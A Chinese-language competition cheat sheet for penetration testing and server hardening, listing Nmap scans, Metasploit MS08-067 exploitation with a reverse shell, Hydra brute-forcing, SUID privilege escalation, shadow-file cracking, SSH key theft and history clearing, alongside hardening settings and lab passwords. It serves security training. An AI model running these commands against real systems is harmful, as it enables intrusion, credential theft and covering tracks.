https://new.mhxaskills.cn YNWAZ10A/377fSSch YNWAZ10B/b2nVHFJW
基础课程:Window服务器配置 、Linux服务器配置、网络安全、网站建设
WINDOWS常用命令
cd .. cd c:\ cd C:\phpstudy\phptutorial\www\3 D:
显示文件: dir
搜索文件: dir /s flag.txt dir /s *.php robots.txt
查看文件内容: type index.html
Kali Linux常用命令
打开终端:Ctrl+Alt+T 关闭终端:Ctrl+D
重启系统:reboot 关闭系统:poweroff
取消:Ctrl+C 清屏:Ctrl+L
补全代码→ 重复命令记录↑
模糊命令:Tab键
# 管理员账号(红色) $ 普通账号(蓝色)
普通用户进入到root终端:Sudo su
临时提权执行命令:Sudo +命令
~ 账号家目录 / 系统根目录
cd / 切换到根目录
cd /usr 切换到根目录下的usr目录
cd .. 切换到上一级目录 或者 cd ../
cd ~ 切换到用户家目录,(桌面在用户家目录下)
cd - 返回跳转到上一访问的目录
查看主机名称: hostname 显示主机系统信息:uname –a
系统内核版本: uname –r 显示系统版本号: cat /proc/version
查看centos具体版本:cat /etc/centos-release
查看当前登陆用户:whoami (或者id 或者 sudo -l)
查看当前位置:pwd 显示内容:ls 显示所有txt类型文件ls *.txt
输出特权用户:awk -F: ‘$3==0 {print $1}’ /etc/passwd
查看所有用户:cat /etc/passwd
删除用户:userdel hacker 修改用户密码: passwd root
看小文件或最后一页:cat 翻页查看:less
解压文件: unzip flow.zip
复制文件: cp sukong.txt /var/www
移动文件: mv sukong.txt /var/www/html
当前目录往下搜索文件: find . -name “flag*”
指定目录搜索 :find /root -name “flag*”
删除目录或文件: rm -rf name
vi /etc/hosts 修改本地的hosts文件
查看命令历史记录:history
查看终端是bash还是zsh:echo $0
Bash下清除命令历史记录:history -c
zsh下清除命令历史记录:rm $HISTFILE
FTP登录: (回车后输密码 quit或者bye退出)
ftp 172.16.101.23 (命令登录)匿名登录anonymous
ftp://172.16.101.23 (浏览器登录)
登录后下载文件:get 123.jpg
登录后上传文件:put 123.zip
SSH远程登录: (回车后输密码 Exit退出)
1、ssh 172.16.101.106 (root远程登录)
2、ssh root@172.16.101.106 (指定用户登录)
3、ssh root@172.16.101.106 -p 2283 (指定用户和端口登录)
Nmap -hh
nmap 172.16.101.0/24 -sS TCP SYN 半开连接扫描,速度快,较为隐蔽
-sT TCP connect全开连接扫描
-O 操作系统识别(linux系统显示在OS details:后)
Nmap 192.168.187.130 -sV -sS -T5 常用端口和系统服务版本(含操作系统)扫描
nmap --script=vuln 172.16.10.100-199 集群漏洞查找扫描
nmap 172.16.10.101-150 -p80 集群端口扫描
-p- 扫描所有端口可发现后门 1-65535(默认只扫常见1000个)
Nmap 172.16.101.23 –A -v 快速探测全部信息(A全面,v显示细节)
-sP 或 -sn 仅Ping主机扫描,不进行端口扫描
-P0 或 -Pn 无Ping扫描,可以躲避防火墙防护
-p -n 进行/不进行dns 解析(快)
-sY 探测防火墙状态
-p 445 扫描指定端口
-p 80,445,3389 扫描多个端口(参数后有空格)
-sW 滑动窗口扫描
-sR RPC扫描(结果同sV)
-sU UDP扫描
其他扫描工具
arp-scan -l 利用arp缓存表快速主机发现
fping -g 172.16.1.0/24 扫描网段存活主机
arping -c 4 172.16.1.2 有防火墙情况下主机扫描 (4个包)
genlist -s 172.16.1.\* 扫描网段存活主机
Metasploit漏洞利用 help Exit
msfconsole 进入Metasploit
search MS08-067 搜索相关模块程序
use exploit/windows/smb/ms08_067_netapi 或者use 24 使用模块
set payload windows/x64/meterpreter/reverse_tcp 设置反向链接
show options 显示需要设置的参数
Show targets 列出渗透攻击支持的目标平台即版本号
set rhosts 192.168.110.8 设置目标IP
set lhost 192.168.110.128 设置反向链接本机IP
Set Lport 4444 设置本地监听端口
exploit或者 Run 发动攻击、检测,仅检测可输check
getsystem 权限提升到系统权限 getuid 确认权限为系统权限
Shell 拥有目标的shell
download 123.jpg 下载
run vnc 桌面监视
back 返回退出模块
Metasploit破解密码 help Exit
搜索模块search ftp_login ,ssh_login ,telnet_login ,rdp_login ,mssql_login ,mysql_login
set rhosts 192.168.110.8 设置目标IP
set username root 设置用户名(set user_file 3.txt)
set password 123 设置密码 (set pass_file pwd.txt)
set threads 50 设置线程数为50
run
rdesktop 172.16.1.61 远程登录桌面
Hydra密码爆破
字典生成工具:Crunch和CeWL 等。
Kali linux自带的密码字典存在usr/share/wordlists目录下,常用的有nmap.list \rockyou.txt.gz(解压:gunzip rockyou.txt.gz)和metasploitd。可以先进入此目录再使用Hydra省输入字典路径。(-l接用户,-p接密码。字典用大写)
hydra -L usr.txt -P pwd.txt rdp://192.168.31.173
hydra 192.168.31.173 -l Administrator -P pwd.txt rdp:远程桌面(win)
hydra 192.168.31.173 -l root -P pwd.txt ssh:远程登录(linux)
smb:SMB服务
ftp:文件传输
mysql:MysQL数据库
Mssql:sql server
(以下不考)
破解get方式web登录:
hydra -l 用户名 -p 密码字典文件 -t 线程数 -vV -e -ns 目标ip http-get /web/
破解post方式web登录:
hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
破解https:
hydra -m /index.php -l 用户名 -P 字典 ip https
Wireshark
Capture --> Capture Filters。用于在抓取数据包前设置
Capture -> Option,选网卡(input中点左侧小三角可查看网卡对应的IP)
局域网的所有流量都会发送给我们的电脑,默认情况下,我们的电脑只会对自己mac的流量进行解包,而丢弃其他mac的数据包。开启混杂模式后,我们就可以解析其他mac的数据包,因此,我们使用Wireshark时,通常都会开启混杂模式。
3个窗口(包、层、数据),每行就是一个数据包。
层信息:
(1)Frame: 物理层的数据帧概况
(2)Ethernet II: 数据链路层以太网帧头部信息
(3)Internet Protocol Version 4: 互联网层IP包头部信息
(4)Transmission Control Protocol: 传输层T的数据段头部信息,此处是TCP
(5)Hypertext Transfer Protocol: 应用层的信息,此处是HTTP协议
1. 显示过滤器(用于分析包)
IP地址:ip.addr、ip.src、ip.dst
端口:tcp.port、tcp.srcport、tcp.dstport
协议:tcp、udp、http、icmp
比较运算符:> < == >= <= !=
逻辑运算符:and、or、not、xor(有且仅有一个条件被满足)
ip.addr == 192.168.32.121:显示IP地址为 192.168.32.121 的数据包
tcp.port == 80 :显示端口为 80 的数据包
Tcp.connection.syn 查看被扫描的端口
Tcp.connection.synack 查看被扫描并开放的端口
http contains “POST” 查找登录请求(账号,密码一般在第一个包里,页面有login等标志,也有“GET”方式包)
http contains “OK” 常表示上传或下载成功
ftp contains “220” 220为服务器应答码,表示服务就绪,可查服务器版本号
ftp contains “230” 230表示用户登录成功,或者“success”“OK”
登录成功后物理层数据帧“Arrival Time”(到达时间)显示黑客登录时间
2. 抓包过滤器(capture中设置)
类型:主机(host)、网段(net)、端口(port)
方向:源地址(src)、目标地址(dst)
协议:各种网络协议,比如:tcp、udp、http
逻辑运算符:与( && )、或( || )、非( !)
自由组合例:
src host 192.168.31.1:过滤源IP为 192.168.31.1 的数据包
一个完整的数据流由多个数据包组成,追踪数据流可看,注意含login,ok,quary等的数据包
Windows部分
net user hacker /del | ||||
net user administrator Admin@123456 | ||||
关闭IIS管理器“匿名身份验证” | ||||
服务中停止telnet服务(自动、停止) | ||||
MS15-034远程代码执行漏洞 | 在IIS中取消“启用内核缓存” | |||
关闭server服务 | ||||
Ms17-010永恒之蓝 | net stop server 或停止Server服务 | |||
2、MS12-020远程桌面漏洞 | Auxiliary/dos/windows/rdp/ms12_020_maxchannelids 或者 Auxiliary/scanner/rdp/ms12_02_check (蓝屏) | |||
其他漏洞:MS08-067
Linux部分
userdel zqf(id大于1000,位置为bin/bash的用户) | ||||
加强root管理员复杂密码。 | ||||
vi /etc/vsftpd/vsftpd.conf 禁止匿名登录 | ||||
加固通过iptables建立规则使外部无法连接后门端口 | ||||
passwd root 回车 Admin@123456 改为强密码 | ||||
vi /etc/ssh/sshd_config禁止root用户远程登录,去#,重启服务。 | ||||
rpcbind | ||||
CVE-2017-7494 | ||||
进入数据库把root用户改为强密码 | ||||
进入数据库,drop user ‘root’@’%’ 禁止root任意地点登录 | ||||
Kill -9 1735 结束进程 rm -rf /root/cpufan 删除后门程序 |
网站Flag
1、先看网页及源码 2、找网站中的敏感文件(robots.txt flag,txt )
2、探测网站相关信息 4、匿名登录或爆破寻找
5、查看网页源码中图片名称或其他文件,渗透后搜索可以定位网站的根目录
dirb http://172.16.10.150:80 探测网站目录(+是文件,箭头是目录)
netdiscover -r 192.168.253.自己IP或0/24 主机发现(可显示名称)
nmap 192.168.10.40 -p- -sS -T5 可查网站系统CMS版本(漏洞可利用)
Nikto -h http://172.16.10.150 挖掘config 等敏感信息
Whatweb 192.168.253.10 网站指纹分析
nc 192.168.253.10 13337 探测banner(会有flag)
Wget http://192.168.43.192/flag.zip 下载网站目录中的文件
ls -al 或者 ll 显示所有文件及权限
Chmod 777 flag.txt 设置文件最大权限
Chmod -R 777 /flag 设置文件夹(含文件)最大权限
find / -perm -u=s -type f 2>/dev/null 查找系统具备suid权限的命令(以文件拥有者身份运行该文件)
Sudo -l
compgen -c 查看登录的用户可以使用的命令
find . -exec /bin/sh -p \\; -quit find提权
:set shell=/bin/bash (回车)
:shell
export PATH=$PATH:/bin/ vi 提权
Cat 或 more 或 less 或 vi 查看文件
wpscan --url dc-2 -e u (wordpress专用扫描器)对网站进行扫描
Cewl http://dc-2/ -w password.txt 从指定网站提取关键字生成字典
wpscan -U username.txt -P password.txt --url http://dc-2/ 破网站密码
cat /etc/shadow > 1.txt
john --format=crypt 1.txt 回到kali中查看密码
SSH探测
Openlink —— .ssh .shh中存放shh秘钥
192.168.2653.10:31337/.ssh/Id_rsa 访问下载私钥
192.168.2653.10:31337/.ssh/authorzed_keys 访问下载秘钥
ssh -i id_rsa simon@192.168.253.10 用私钥登录,用户到秘钥中找
ssh2john id_rsa > rsacrack ssh2john工具将秘钥转换成john可以识别的信息
zcat rockyou.txt.gz|john --pipe --rules rsacrack 破解秘钥密码
FTP探测
匿名登录 anonymous
MYSQL数据库
1、检查MySQL服务是否启动:systemctl status mysqld
启动数据库:net start mysql
1、登录数据库服务器:mysql -uroot -p 然后输密码(用root登录可直接输mysql)
查看数据库版本:
3、设置密码:set password for root@localhost=password('666');
4、查看数据库:show databases;
5、创建数据库:create database test;
删除数据库;drop database test;
6、使用数据库:use mysql;
8、进入用户表信息:select user,host from mysql.user;
9、进入用户表后更新密码:update user set authentication_string=password('888') where user='root';
10、允许root用户远程连接:GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '888' WITH GRANT OPTION;
11、新建用户:create user ‘user1’ @’localhost’identified by ‘123456’
12、删除Mysql用户:drop user '用户名'@'localhost';
a、改变默认管理员用户为:SuperRoot
update mysql.user set user=“SuperRoot” where user=“root”;

b、用md5加密函数加密用户user1的密码为:P@ssw0rd1!)
update mysql.user set password=md5("p@ssw0rd1!") where user="andrew";

c、赋予user1用户对数据库所有表只有select、insert、delete、update权限
grant select,insert,delete,update on testdb.* to shiny@'%';

d、撤销已经赋予给user1的权限
revoke all on testdb.* from userl@'%';
e、对忘记mysql数据库SuperRoot管理员密码进行重置操作;
![]()
Linux系统加固
vim /etc/pam.d/login
加:

vim /etc/login.defs
设置:net user user1 123456 /time:M-F,9:00-18:00
查看:net user user1
vim /etc/pam.d/system-auth
6、密码策略必须同时满足大小写字母、数字、特殊字符,将/etc/pam.d/system-auth配置文件中对应的部分截图:
在pam_cracklib.so后加:

8、用chattr命令防止系统中的关键文件被修改,提高系统安全性。添加:chattr +i /etc/passwd
(锁定passwd、shadow、 group 、gshadow 这四个文档的属性,撤销锁定命令:chattr -i /etc/passwd)
SSH 远程登录
1、开启SSH服务 systemctl start sshd
2、重启 sshd 服务(配置完成需要重启生效)
Vim /etc/ssh/sshd_config
3、修改ssh服务端口为 2222,使用命令netstat -anltp | grep sshd查看SSH服务端口信息,
4、指定SSH协议版本(禁用sshv1,使用sshv2),增加:Protocol 2
5、ssh禁止ROOT用户远程登录(PermitRootLogin no)
或添加 DenyUser root
6、为了防止密码在登录或者传输信息中被窃取,仅使用证书登录SSH,将/etc/ssh/sshd_config配置文件中对应的部分截图:
PasswordAuthentication no
7、只允许honor这个用户使用SSH远程登录,其他用户不能。添加:
AllowUsers honor
8、最多允许密码错误次数(默认6次,调为3次)
MaxAuthTries 3
9、启用严格(强制安全性)模式
StrictMode yes
10、基于公钥的身份验证,启用公钥身份验证
PubkeyAuthentication yes
11、禁用X11转发
X11Forwarding no
12、配置SSH登录超时限制
ClientAliveInterval 120,ClientAliveCountMax 5
13、配置SSH登录标语(Banner信息)Banner NONE
14、配置SSH远程登录失败策略,SSH登录密码错误3次,锁定账户3分钟。
vim /etc/pam.d/sshd
在#%PAM-1.0下添加一行
auth required pam_tally2.so deny=3 unlock_time=180 even_deny_root root_unlock_time300
15、设置root⽤户的计划任务。每天早上7:50⾃动开启ssh服务,22:50关闭;每周六的7:30重新启动ssh服务
crontab –e,按i键进入编辑模式,输入以下内容,保存退出,使用命令crontab -l可查看创建的计划任务。

16、配置SSHD的PID档案存放地
Vim PidFile /var/run/sshd.pid

VSFTPD 服务
Vim /etc/vsftpd/vsftpd.conf
1、设置超时时间为2分钟,无任何操作的超时时间为5分钟,
# You may change the default value for timing out an idle session.
#idle_session_timeout=300
#
# You may change the default value for timing out a data connection.
#data_connection_timeout=120
2、设置运行 vsftpd 的非特权系统用户为 pyftp
添加:nopriv_user=pyftp

3、限制客户端连接的端口范围在 50000-60000
添加:pasv_min_port=50000,pasv_max_port=60000
4、限制本地用户登录活动范围限制在 home 目录
添加:chroot_local_user=YES

5、禁止匿名用户登录
添加:anonymous_enable=NO (前面不能有#)

6、禁止匿名用户上传
添加:anon_upload_enable=NO
7、禁止匿名用户创建目录的权限
添加:anon_mkdir_write_enable=NO
8、禁止匿名用户删除和重命名的权限
添加:anon_other_write_enable=NO
9、匿名用户访问的最大传输速率为512KB/S。(512*1024)
添加:anon_max_rate=524288
10、设置本地用户访问的最大传输速率为1M(1*1024*1024)
添加:local_max_rate=1048576
11、允许匿名登录 :anonymous_enable=YES
12、允许本地用户登录 :local_enable=YES
13、开放本地用户的写权限 :write_enable=YES
14、设置本地用户的文件生成掩码为022 :local_umask=022
15、激活上传和下载日志 :xferlog_enable=YES
16、启用FTP数据端口的连接请求 :connect_from_port_20=YES
17、使用标准的ftpd xferlog日志格式 :xferlog_std_format=YES
18、关闭ascii模式下载,防止被用于DoS攻击。
#ascii_download_enable=no
httpd
防火墙
18、为防止SSH服务被暴力枚举,设置iptables防火墙策略仅允许172.16.10.0/24网段内的主机通过SSH连接本机,将iptables配置命令截图:
B-2内存取证
用左边的粘贴板可以将内容再复制出来
截图软件
1、运行Snipaste 软件,右下角可以查看。(默认已运行)
2、F1 截图,截图完成后,截图区域右下角点击“复制到粘贴板”
3、Ctrl + V 将图片粘贴到word里。
https://new.mhxaskills.cn YNWAZ10A/377fSSch YNWAZ10B/b2nVHFJW
kali:kali/kali win11:admin/123456 system0002:root/123456
160Pysystem0043 访问靶机samba服务下载任务文件?
1、选手需要在7:30开始抽签,8:30完成二次加密入场后检
2、展示讲解阶段则每过十分钟进行一次。
3、A、B模块2个小时:预测单选40,多选10题。Apache配置加固,wireshark数据包分析, web网页渗透,主机信息渗透,内存取证。B文档提交对题的PDF格式说明。
C、D模块1个小时:30个靶机夺旗flag 系统服务器加固提交KEY值